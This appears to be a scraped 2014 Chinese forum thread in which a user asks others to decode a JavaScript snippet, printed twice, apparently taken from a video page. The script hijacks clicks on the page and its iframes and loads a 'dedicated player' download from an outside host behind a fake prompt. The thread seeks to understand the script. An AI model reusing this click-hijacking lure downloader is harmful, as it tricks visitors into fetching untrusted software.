麻烦大家帮忙解密一下这个js 本帖最后由 jianxin52 于 2014-07-15 18:38:35 编辑 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 <script>var uid,pid,durl,curl;function GetConfig(_load) { uid=GetInt("uid",1); pid=GetInt("pid",8100); curl="next.html?uid="+uid+"&pid="+pid+"&cid=3"; if(_load>0) { var viscount=parseInt(f_get_cookie("v_count")); if(viscount==1) { f_set_cookie("v_count",2); durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random() } else { f_set_cookie("v_count",1); durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random() } }};function $$(ele) { return document.getElementById(ele)};function GetParamVal(paramName) { var url=location.href; var paramString=url.substring(url.indexOf("?")+1,url.length).split("&"); var paramObj= { }; for(i=0; j=paramString[i]; i++) { paramObj[j.substring(0,j.indexOf("=")).toLowerCase()]=j.substring(j.indexOf("=")+1,j.length) }; var returnValue=paramObj[paramName.toLowerCase()]; if(typeof(returnValue)=="undefined") { return null } else { return returnValue }};function GetInt(paramName,val) { var vid=parseInt(GetParamVal(paramName)); if(isNaN(vid)) { vid=val }; return vid};function f_get_domain(v_url) { if(v_url==null||v_url=="")return""; var v_begin,v_end; v_url=v_url.toLowerCase(); if(v_url.indexOf("http://")==0)v_begin=7; else if(v_url.indexOf("https://")==0)v_begin=8; else v_begin=0; if((v_end=v_url.indexOf("/",v_begin))==-1)v_end=v_url.length; v_url=v_url.substring(v_begin,v_end); if((v_end=v_url.indexOf(":"))!=-1)v_url=v_url.substring(0,v_end); if(v_url.indexOf(".")==-1||/^[0-9]+[.0-9]*$/.test(v_url))return v_url; var v_parts=v_url.split("."); if(v_parts.length>2&&v_parts[v_parts.length-3]!="www") { var v_part_2=v_parts[v_parts.length-2]; if(v_part_2.length<=2||v_part_2=="com"||v_part_2=="edu"||v_part_2=="gov"||v_part_2=="net"||v_part_2=="org"||v_part_2=="mil") { v_url=v_parts[v_parts.length-3]+"."+v_part_2+"."+v_parts[v_parts.length-1] } else { v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1] } } else { v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1] }; return v_url};function f_set_cookie(v_cn,v_cv) { var v_et=new Date(); v_et.setTime(v_et.getTime()+12*60*60*1000); document.cookie=v_cn+'='+v_cv+'; expires='+v_et.toGMTString()+'; path=/; domain='+f_get_domain(window.location.href)};function f_get_cookie(v_cn) { var v_cookies=document.cookie.split("; "); for(var v_i=0; v_i<v_cookies.length; v_i++) { var v_ck=v_cookies[v_i].split("="); if(v_ck[0]==v_cn)return unescape(v_ck[1]) }; return null};function addEvent(obj,type,fun) { if(obj.addEventListener) { obj.addEventListener(type,fun); return true } else if(obj.attachEvent) { return obj.attachEvent("on"+type,function() { fun.apply(obj,arguments) } ) } else { return false }};function addgo(info,isDown,alertYoNO) { if(isLoading.style.display=="none") { GetConfig(1); var hint=info||"本片资源需要下载专用播放器观看,只需10秒立即观看!"; if(alertYoNO==1) { if(isDown||confirm(hint)) { $$("d_url").src=durl } } else { if(!isDown) { alert(hint) }; $$("d_url").src=durl } }};var v_mode=true;function fun() { GetConfig(0); if(v_mode==true) { $$("c_url").src=curl; v_mode=false }};var v_is_add_click=false;function f_pop_click() { if(v_is_add_click==true)return; try { if(!window.document)return; addEvent(window.document,"click",new Function("fun(); ")) } catch(v_ex) { } var v_obj=document.getElementsByTagName("iframe"); for(var v_i=0; v_i<v_obj.length; v_i++) { try { addEvent(v_obj[v_i].contentWindow.document,"click",new Function("window.parent.fun(); ")) } catch(v_ex) { } }; v_is_add_click=true};f_pop_click();</script> http://blog.csdn.net/superwfei/article/details/37821653其实很简单 这个不错啊,有点shellcode的味道 大家都用什么生成图表 急!急!急!求一个JS正则表达式! 请教一个js来控制加减的效果 【请教】有没有在线javascript文档 数组的键 关于checkbox很急的问题 javascript中如何去获得复杂页面控件?(换个地方找老大。^_^) 怎样获取动态表单的值 关于制作类似frontpage视图里的导航!如何做?快帮忙啊~~~ xmlHttpRequest的跨域post问题 Java web jsp 数组任取 两两、三三等 求和
var uid,pid,durl,curl;
function GetConfig(_load)
{
uid=GetInt("uid",1);
pid=GetInt("pid",8100);
curl="next.html?uid="+uid+"&pid="+pid+"&cid=3";
if(_load>0)
{
var viscount=parseInt(f_get_cookie("v_count"));
if(viscount==1)
{
f_set_cookie("v_count",2);
durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random()
}
else
{
f_set_cookie("v_count",1);
durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random()
}
}
};
function $$(ele)
{
return document.getElementById(ele)
};
function GetParamVal(paramName)
{
var url=location.href;
var paramString=url.substring(url.indexOf("?")+1,url.length).split("&");
var paramObj=
{
};
for(i=0;
j=paramString[i];
i++)
{
paramObj[j.substring(0,j.indexOf("=")).toLowerCase()]=j.substring(j.indexOf("=")+1,j.length)
};
var returnValue=paramObj[paramName.toLowerCase()];
if(typeof(returnValue)=="undefined")
{
return null
}
else
{
return returnValue
}
};
function GetInt(paramName,val)
{
var vid=parseInt(GetParamVal(paramName));
if(isNaN(vid))
{
vid=val
};
return vid
};
function f_get_domain(v_url)
{
if(v_url==null||v_url=="")return"";
var v_begin,v_end;
v_url=v_url.toLowerCase();
if(v_url.indexOf("http://")==0)v_begin=7;
else if(v_url.indexOf("https://")==0)v_begin=8;
else v_begin=0;
if((v_end=v_url.indexOf("/",v_begin))==-1)v_end=v_url.length;
v_url=v_url.substring(v_begin,v_end);
if((v_end=v_url.indexOf(":"))!=-1)v_url=v_url.substring(0,v_end);
if(v_url.indexOf(".")==-1||/^[0-9]+[.0-9]*$/.test(v_url))return v_url;
var v_parts=v_url.split(".");
if(v_parts.length>2&&v_parts[v_parts.length-3]!="www")
{
var v_part_2=v_parts[v_parts.length-2];
if(v_part_2.length<=2||v_part_2=="com"||v_part_2=="edu"||v_part_2=="gov"||v_part_2=="net"||v_part_2=="org"||v_part_2=="mil")
{
v_url=v_parts[v_parts.length-3]+"."+v_part_2+"."+v_parts[v_parts.length-1]
}
else
{
v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1]
}
}
else
{
v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1]
};
return v_url
};
function f_set_cookie(v_cn,v_cv)
{
var v_et=new Date();
v_et.setTime(v_et.getTime()+12*60*60*1000);
document.cookie=v_cn+'='+v_cv+';
expires='+v_et.toGMTString()+';
path=/;
domain='+f_get_domain(window.location.href)
};
function f_get_cookie(v_cn)
{
var v_cookies=document.cookie.split(";
");
for(var v_i=0;
v_i<v_cookies.length;
v_i++)
{
var v_ck=v_cookies[v_i].split("=");
if(v_ck[0]==v_cn)return unescape(v_ck[1])
};
return null
};
function addEvent(obj,type,fun)
{
if(obj.addEventListener)
{
obj.addEventListener(type,fun);
return true
}
else if(obj.attachEvent)
{
return obj.attachEvent("on"+type,function()
{
fun.apply(obj,arguments)
}
)
}
else
{
return false
}
};
function addgo(info,isDown,alertYoNO)
{
if(isLoading.style.display=="none")
{
GetConfig(1);
var hint=info||"本片资源需要下载专用播放器观看,只需10秒立即观看!";
if(alertYoNO==1)
{
if(isDown||confirm(hint))
{
$$("d_url").src=durl
}
}
else
{
if(!isDown)
{
alert(hint)
};
$$("d_url").src=durl
}
}
};
var v_mode=true;
function fun()
{
GetConfig(0);
if(v_mode==true)
{
$$("c_url").src=curl;
v_mode=false
}
};
var v_is_add_click=false;
function f_pop_click()
{
if(v_is_add_click==true)return;
try
{
if(!window.document)return;
addEvent(window.document,"click",new Function("fun();
"))
}
catch(v_ex)
{
}
var v_obj=document.getElementsByTagName("iframe");
for(var v_i=0;
v_i<v_obj.length;
v_i++)
{
try
{
addEvent(v_obj[v_i].contentWindow.document,"click",new Function("window.parent.fun();
"))
}
catch(v_ex)
{
}
};
v_is_add_click=true
};
f_pop_click();</script>